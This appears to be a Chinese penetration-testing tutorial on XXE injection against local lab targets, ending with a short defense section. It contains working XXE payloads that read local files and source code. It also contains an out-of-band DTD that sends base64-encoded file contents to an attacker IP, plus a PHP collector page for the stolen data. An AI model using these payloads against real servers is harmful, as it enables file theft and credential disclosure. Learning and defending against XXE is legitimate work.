【网安-Web渗透测试-漏洞系列】XXE漏洞

XXE漏洞

一、XXE的概念与危害

XXE(XML External Entity Injection)漏洞为外部实体注入漏洞,该漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口、攻击内网网站等危害。

二、运行环境

1、目标机

名称
操作系统 Windows 10
中间件 phpStudy 2018
PHP版本 5.4.45
Apache 2.4

2、攻击机

名称
操作系统 Windows 10
中间件 phpStudy 2018
运行基础 Vmware Pro 15

三、XXE文件读取

说明: 重点针对目标机的操作。

(1)有回显

Step1:访问地址:

bash 复制代码
http://127.0.0.1/pikachu/vul/xxe/xxe_1.php

Step2:准备xml脚本
模板格式:

bash 复制代码
<?xml version = "1.0"?>  
<!DOCTYPE any[ 
<!ENTITY <变量名> SYSTEM "file:///<文件的路径>"> 
]> 
<自定义标签>&<变量名>;</自定义标签>

样例1:

bash 复制代码
<?xml version = "1.0"?>  
<!DOCTYPE any[ 
<!ENTITY xxe SYSTEM "file:///C:/Windows/System32/drivers/etc/hosts"> 
]> 
<zoo>&xxe;</zoo>

说明:&xxe只是变量⽽已,可以随意修改。<zoo></zoo>也是自定义的标签,也可以随意改。
样例2:

bash 复制代码
<?xml version = "1.0"?>  
<!DOCTYPE any[ 
<!ENTITY abc "这是一个内容!"> 
]> 
<result>&abc;</result>

(2)无回显

说明: 目标机与攻击机均需要协同。

Step1:修改 D:\phpStudy\PHPTutorial\WWW\pikachu\vul\xxe\xxe_1.php 文件。

bash 复制代码
if(isset($_POST['submit']) and $_POST['xml'] != null){
    $xml =$_POST['xml'];
    $data = @simplexml_load_string($xml,'SimpleXMLElement',LIBXML_NOENT);
    if($data){
    	# 注释此行,变成无回显状态
        // $html.="<pre>{$data}</pre>";
    }else{
    	# 注释此行,变成无回显状态
        // $html.="<p>XML声明、DTD文档类型定义、文档元素这些都搞懂了吗?</p>";
    }
}

注意:

注释这两行后无法看到回显信息,这是从蓝队的角度考虑如何防御。

Step2:准备一个flag.txt于D:\phpStudy\PHPTutorial\WWW中。

bash 复制代码
# flag.txt的内容,该文件位于D:\phpStudy\PHPTutorial\WWW
flag:16yhg771819hfg

Step3:在攻击机中新建xxe.dtd⽂件。

bash 复制代码
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=D:/phpStudy/PHPTutorial/WWW/flag.txt">
<!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://192.168.179.154/get.php?file=%file;'>">
%all;
%send;

注意:

①D:/phpStudy/PHPTutorial/WWW/flag.txt是指要读取的文件路径,此处也可以拿来设为其它文件。

http://192.168.179.154是攻击机的IP,不能设为127.0.0.1;因为设为127.0.0.1的话,目标机中处理xml请求时会认为将文件传送在目标机本身,因此一定要设为攻击机的IP。

③在攻击机(192.168.179.154)中需要自定义get.php页面。

Step4:在攻击机中新建get.php页面。

bash 复制代码
<?php
 $data = $_GET['file'];
 $myfile = fopen("file.txt","w+");
 fwrite($myfile,$data);
 fclose($myfile);
?>

Step5:在目标机的Pikachu的输⼊框输入如下xml。用来读取flag.txt。

bash 复制代码
<?xml version = "1.0"?>
<!DOCTYPE ANY[
<!ENTITY % dtd SYSTEM "http://192.168.179.154/xxe.dtd">
%dtd;]>


由此,红队使用此方法可以得到flag.txt文件的内容。蓝队所设置的不回显方法在这里失效。

流程总结如下:

四、XXE-Lab靶场实践

说明: 破解⽤户名与密码,此处⽤xxe漏洞获取⽤户名与密码。

1、靶场环境配置

Step1:将压缩包中的xxe-lab-master.zip\xxe-lab-master\php_xxe;
Step2:并复制到D:\phpStudy\PHPTutorial\WWW;
Step3:将php_xxe更名为xxe_lab。

最终部署地址为:

bash 复制代码
D:\phpStudy\PHPTutorial\WWW\xxe_lab

2、开始攻击

(1)登录,截取包

Step1:打开BurpSuite并在浏览器中设置好BurpSuite的代理,并开启Intercept on


Step2:开始登录系统

访问地址:

bash 复制代码
http://127.0.0.1/xxe_lab/



说明: 在此处发现了xml解析;说明存在漏洞。

(2)尝试XXE漏洞

Step1:右击鼠标,选择"Send to Repeater"

Step2:复制如下脚本到图中 "2" 的位置

bash 复制代码
<!DOCTYPE ANY [
 <!ENTITY  file SYSTEM "file:///D://phpStudy//PHPTutorial//WWW//flag.txt">
 ]>
 <user>
   <username>
     &file;
   </username>
   <password>
     12313
   </password>
 </user>


说明: 看到这样的结果,说明存在XXE漏洞。

(3)获取用户名密码

Step1:右击鼠标,选择"Send to Repeater"

Step2:复制如下脚本到图中 "1" 的位置

bash 复制代码
<!DOCTYPE ANY [
 <!ENTITY  file SYSTEM "php://filter/read=convert.base64-encode/resource=doLogin.php">
 ]>
 <user>
   <username>
     &file;
   </username>
   <password>
     12313
   </password>
 </user>


Step3:解析Base64编码

Step4:输入正确的用户名和密码

五、如何防御?

1、修改配置

说明: 这是从蓝队的视角做防御。

找到XXE_lab下的doLogin.php文件。

位置如下:

bash 复制代码
D:\phpStudy\PHPTutorial\WWW\xxe_lab\\doLogin.php

修改如下:

bash 复制代码
// XXE漏洞防御
// 禁⽌外部实体
// libxml_disable_entity_loader 必须为真true
libxml_disable_entity_loader(true);

2、再次展开攻击

说明: 这是从红队的视角开始攻击。


注意: 一旦libxml_disable_entity_loader(true);的设置生效,那么,围护网站的负责人将无法更新xml配置,因此,这样做防御也是存在副作用。即对自己人和外人均全部被禁止xml配置更新。

相关推荐
Lhappy嘻嘻8 小时前
Java IO|File 文件操作 + 字节流 / 字符流完整笔记 + 递归删除文件实战
java·笔记·php
2601_9637713711 小时前
How to Scale Your WordPress Store Traffic in 2026
前端·php·plugin
白帽小阳14 小时前
2026前端面试题!(附答案及解析)
javascript·网络·python·安全·web安全·网络安全·护网行动
右耳朵猫AI15 小时前
PHP周刊2026W28 | 安全更新、Laravel 13.18、Twig 3.28
开发语言·php·laravel
罗政15 小时前
PDF 批量合并工具:本地 AI 自动排序、识别正文日期与合同编号
数据库·pdf·php
白帽小阳16 小时前
[特殊字符]【2026最新】零基础入门学网络安全(详细路线图),看这篇就够了!
学习·安全·web安全·网络安全·安全运营·学习路线·web渗透
糖果店的幽灵17 小时前
安全测试从入门到精通_网络基础与HTTPS
网络·https·php
2601_9637713717 小时前
WordPress SEO Guide: Boost Rankings Without Technical Jargon
前端·php
日取其半万世不竭20 小时前
CS2 服务器搜不到?GSLT、端口和启动参数逐项检查
运维·服务器·php
HackTwoHub21 小时前
AI大模型攻击思路,涵盖提示词劫持、知识库投毒、多语种混淆 + 身份伪装、诱导 AI 输出涉密后台核心配置
人工智能·安全·web安全·网络安全·自动化·系统安全·安全架构